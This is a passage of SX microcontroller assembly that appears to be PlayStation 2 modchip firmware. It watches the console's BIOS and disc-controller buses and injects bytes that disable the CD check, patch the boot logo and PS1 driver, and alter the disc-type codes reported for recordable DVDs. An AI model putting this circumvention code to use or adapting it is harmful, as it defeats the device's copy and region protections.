VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14 mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 LOGO2 retw $0 retw $0 retw $0 retw $0 PS2LOGO_PATCH_22_JMP2 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 ;60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 ;42 ;61 ;91 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH 